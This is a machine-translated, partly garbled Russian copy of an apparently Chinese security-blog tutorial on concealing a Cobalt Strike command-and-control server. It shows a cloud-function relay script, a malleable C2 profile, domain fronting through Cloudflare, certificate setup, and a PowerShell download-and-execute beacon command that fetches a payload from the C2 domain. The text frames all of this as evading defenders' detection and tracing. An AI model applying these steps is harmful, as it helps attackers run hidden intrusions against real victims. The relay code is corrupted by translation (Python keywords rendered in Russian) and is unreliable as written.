Адрес статьи: https://www.freebuf.com/articles/network/330713.html.
Cobalt Strike (далее CS) — это инструмент проникновения в инфраструктуру, который может имитировать проникновение APT во внутреннюю сеть в наступательных и оборонительных противостояниях. В то же время он также объединяет переадресацию портов, сканирование многорежимного прослушивателя портов, генерацию exe-программ Windows, генерацию динамически подключаемой библиотеки Windows dll, генерацию Java-программ, генерацию офисного макроса и даже клонирование сайтов для получения информации о браузере. Как артефакт в области сетевой безопасности, коммуникационный трафик CS теперь может быть идентифицирован и обнаружен зрелыми IDS и IPS. Как только защитники обнаружат трафик CS или проследят его источник до IP-адреса сервера CS, проникновение и вторжение могут оказаться напрасными. Поэтому нам необходимо зашифровать трафик, чтобы защитить сервер CS от обнаружения системой мониторинга безопасности защитника или даже от отслеживания источника нашего сервера CS. В настоящее время обычно используемые методы сокрытия включают фронтирование домена, CDN, облачные функции и т. д. Далее. Я представлю эти распространенные методы, как скрыть C2.
Бессерверная облачная функция (SCF) — это в основном бессерверная среда выполнения, предоставляемая предприятиям и разработчикам, которая может запускать код без покупки серверов и управления ими. Разработчикам нужно только написать основной код на языках, поддерживаемых платформой, и задать условия для запуска кода, чтобы они могли гибко и безопасно запускать код в облачной инфраструктуре.
Мы можем очень хорошо спрятаться, используя Cloud Function, главным образом потому, что Cloud Function использует режим развертывания с несколькими местоположениями, и каждый запрос будет переключаться на другой IP-адрес, хотя доменное имя доступа по умолчанию все равно будет получено защитником, как правило,. защитник Наша личная информация не может быть получена напрямую из Tencent Cloud согласно API. Поэтому мы можем скрыть CS-сервер через характеристики облачных функций.
Создайте пользовательскую функцию облака в определенном облаке и задайте имя функции. Конкретные настройки следующие:
Напишите в нем серверный скрипт облачной функции
# coding: utf8
import json,requests,base64
def main_handler(event, context):
response = {}
path = None
headers = None
try:
# По вашим словам облачный серверизадрес Исправлять
C2='http://x.x.x.x:80'
если 'путь' в event.keys():
путь = событие ['путь']
если 'заголовки' в event.keys():
заголовки = событие['заголовки']
if 'httpMethod' в event.keys() и event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
еще:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
печать (соответственно заголовки)
печать (соответственно содержимое)
ответ={
"isBase64Encoded": Верно,
"statusCode": соответственно.status_code,
"заголовки": dict(соответственно.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
кроме Исключения как e:
печать('ошибка')
распечатать(е)
окончательно:
обратный ответ
Скриншот 23.12.2021, 3.00.27 утра
Настройка выбора триггератриггер шлюза API
,Другие настройки следующие:
редактировать API и Исправлять Путь/
,Исправлять Опубликовать услугу после завершения
Настройте гибкий C2 на сервере CS для сокрытия трафика. гибкий C2 в основном имитирует обычный коммуникационный трафик, изменяя файл конфигурации C2 и изменяя свойства и поведение полезной нагрузки маяка.
set sample_name "func";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/x";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/y";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
После создания назовите егоapi.profile
и通过 teamserver Запустить сервер
./teamserver x.x.x.x xxx api.profile
Мы можем найти адрес доступа к API по умолчанию в службе облачных функций. Следует отметить, что этот адрес является ключом к использованию облачной функции.
существоватьCSСоздание клиентаслушательcs_hidden
,将返回адрес设置для默认API访问адресservice-xxxx-xxx.xx.xx.tencentcs.com
генерировать相应木马и设置слушатель Просто создан дляизcs_hidden
После выполнения CS может успешно находиться в сети. Если адрес внешней сети постоянно меняется, это означает, что функция облака успешно используется.
В журнале облачной функции мы можем проследить, что запрос был успешно вызван.
Попробуйте поместить трояна в песочницу Weibu Cloud для обнаружения. Вы можете обнаружить, что на нашей CS появился другой хост.
В песочнице Weibu Cloud вы можете ясно видеть, что запрошенное доменное имя — это доменное имя Tencent Cloud, а IP-адрес — это сервер IDC Tencent Cloud, а не реальный IP-адрес нашего сервера CS, что указывает на то, что сервер CS был успешно скрыт.
Domain Fronting — это общая технология уклонения, основанная на https, также известная как технология доменной внешней сети. Это метод, используемый для сокрытия контроля над трафиком сервера такими командами, как Metasploit и Cobalt Strike, тем самым в определенной степени обходя проверки. Или технология обнаружения брандмауэра. Как правило, крупные производители, такие как Amazon, Google, Akamai и т. д., предоставляют технологические услуги переднего плана домена.
Подобно облачным функциям, технология фронтирования домена в основном перенаправляет трафик на реальный сервер C2 через узлы CDN. IP-адрес узла CDN может пересылать трафик, определяя заголовок хоста запроса. можно эффективно избегать мониторинга трафика для DLP, агентов и т. д.
Основой доменного фронтинга является CDN. Его принцип работы заключается в том, что один IP-адрес может быть связан с разными доменными именами для ускорения веб-сайта. Например, есть два доменных имени: www.a.com и www.b.com. Оба они указывают на один и тот же IP-адрес. Этот IP-адрес на самом деле является сервером CDN. Итак, когда мы используем браузер для доступа к этим двум доменным именам, как мы можем гарантировать, что целью доступа является указанное содержимое веб-сайта? Мы можем добавить доменное имя, к которому необходимо получить доступ, в заголовок запроса хоста в пакете HTTP-запроса, чтобы найти веб-сайт, к которому необходимо получить доступ.
Если вы все еще не поняли, мы можем продемонстрировать это на реальных кейсах.,который предполагает1.1.1.1
для CDN сервер, www.a.com
иwww.b.com
для该服务器上издоменное имя, эти два доменное имя все привязаны к CDN ускориться.
Первое использование curl запрос командыwww.a.com
,Информация о целевом сайте успешно возвращена.
curl www.a.com -v
Скриншот 12.04.2022 49.04.45
Итак, что произойдет дальше, когда вы попытаетесь запросить сервер CDN? Результат возвращает 403
curl 1.1.1.1 -v
Скриншот 12.04.2022 53.04.15
Но нам просто нужно добавить Host Откройте доступwww.a.com
изсодержание
curl 1.1.1.1 -H "Host: www.a.com" -v
Скриншот 12.04.2022 53.04.49
Для сборки среды мы можем настроить ее следующим образом. Полный комплект стоит около 6 долларов США.
Адрес покупки доменного имени: https://porkbun.com
Адрес покупки облачного сервера: https://my.vultr.com
Адрес регистрации CDN: https://www.cloudfare.com
существоватьvultr
Зарегистрируйте аккаунт в,После завершения регистрации я выбираю PayPal Привязка, проверка моего аккаунта займет около суток, если конечно нет PayPal Вы также можете использовать Привяжите AliPay и кредитную карту.
После завершения привязки новый аккаунт получит 150 долларов США. Выберите предпочитаемую конфигурацию и разверните облако. IP-адрес — 2.2.2.2.
существовать porkbun Зарегистрируйте аккаунт и успешно приобретите наше издоменное имяxxx.xyz
существовать Cloudflare Привяжите доменное имя, купленное выше. Результат показывает, что нам необходимо изменить DNS-запись доменного имени.
Измените сервер разрешения доменных имен следующим образом:
jake.ns.cloudflare.com
magdalena.ns.cloudflare.com
Скриншот 19.04.2022 03.04.18
После завершения изменения подождите, пока Cloudflare повторит сопоставление, пока не появится следующий интерфейс, указывающий на успешное развертывание CDN.
Добавьте записи разрешения DNS следующим образом. Одновременно мы также
A c2 2.2.2.2
A xxx.xyz 2.2.2.2
Скриншот 19.04.2022 19.11.15
Проверьте, можно ли проанализировать узел CDN. Успешный анализ означает, что все идет хорошо.
curl 172.67.175.223 -H "Host: xxx.xyz" -v
Скриншот 19.04.2022 29.11.56
существовать Cloudflare Открыть через SSL И установите режим шифрования SSL/TLS на полный
Создайте сертификат SSL/TLS, конкретная конфигурация следующая.
После нажатия кнопки «Создать» можно успешно сгенерировать соответствующий исходный сертификат и закрытый ключ.
существоватьоблачный Настройка на сервере malleable C2 Для настройки сертификата используйте openssl 利用CDNизSSL/TLSИсходный сертификатизакрытый ключгенерироватьPFXдокументspoofdomain.p12
openssl pkcs12 -export -in cloudflare.pem -inkey cloudflare.key -out spoofdomain.p12 -name c2.maccc.xyz -passout pass:macmacmac
Keytool — инструмент управления сертификатами данных Java.,использоватьэто будет выше ключаи СертификатгенерироватьизPFXдокумент存существоватьkeystoreдокументnew.store
среди
keytool -importkeystore -deststorepass macmacmac -destkeypass macmacmac -destkeystore new.store -srckeystore spoofdomain.p12 -srcstoretype PKCS12 -srcstorepass macmacmac -alias c2.xxx.xyz
Скриншот 20.04.2022 16.38.13
Адрес загрузки инструмента: https://github.com/FortyNorthSecurity/C2concealer.
C2concealer — это инструмент командной строки, который случайным образом генерирует гибкие профили C2, используемые CS. Если он не установлен, вы можете использовать следующую команду для его установки.
chmod u+x install.sh
./install.sh
Скриншот 20.04.2022 16.46.02
Используйте C2concealer для создания файлов конфигурации CS.
C2concealer --variant 1 --hostname c2.xxx.xyz
# Выберите шаги
1.3
2./root/CS4.3/new.store
3. Введите пароль учетной записи.
Скриншот 20.04.2022 16.49.25
Успешно сгенерировано имя файла со случайным номером. CS файл конфигурации, скопируйте его в CS 目录下и重命名дляtest.profile
cp 56069b6a.profile /root/CS4.3/test.profile
cd /root/CS4.3/
ls
Скриншот 20.04.2022 16.51.58
Используйте c2lint для проверки файла конфигурации
chmod +x c2lint
./c2lint test.profile
Скриншот 20.04.2022 16.53.33
Измените конфигурацию командного сервера. Конечно, лучше всего изменить порт 50050 по умолчанию нашего CS на другие порты.
vim teamserver
# Конфигурация Исправлять
javax.net.ssl.keyStore=./new.store
-Djavax.net.ssl.keyStorePassword=macmacmac
Скриншот 20.04.2022 17.49.49
запускать teamserver и加载Конфигурациядокументtest.profile
./teamserver 2.2.2.2 macmacmac test.profile
существовать CS Генерация клиентов https слушатель
Настройте веб-службу с помощью SSL и выберите тип полезной нагрузки как powershell.
Успешно сгенерирована версия полезной нагрузки PowerShell.
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('https://c2.xxx.xyz:443/test'))"
существовать В целевом дроне Может быть успешно запущен после выполнения,В то же время мы можем обнаружить, что внешний адрес продолжает меняться с каждым запросом.,Таким образом, вероятность того, что защитник сможет отследить источник до нашего сервера C2 и IP-адреса, очень мала.
существовать CS Команда успешно выполнена и открыта на хосте-жертве. WireShark Захват пакетов
существовать WireShark Весь зашифрованный TLS трафик и адреса назначения являются случайными узлами CDN, поэтому их нельзя отследить до реального IP-адреса нашего сервера C2.
За этот период мы научимся шифрованию трафика.,Я считаю, что кибератака и защита постоянно меняются.,Точно так же, как CDNсуществовать изначально был разработан для защиты веб-сайтов от реального IP.,Но как злоумышленники мы также можем использовать его для защиты нашего сервера C2; сертификат OpenSSL с использованием RSA также может помочь злоумышленникам шифровать трафик и скрывать сообщения в дополнение к аутентификации.
Справочная статья 1: https://blog.csdn.net/weixin_44604541/article/details/118413649.
Справочная статья 2: https://www.anquanke.com/post/id/243146.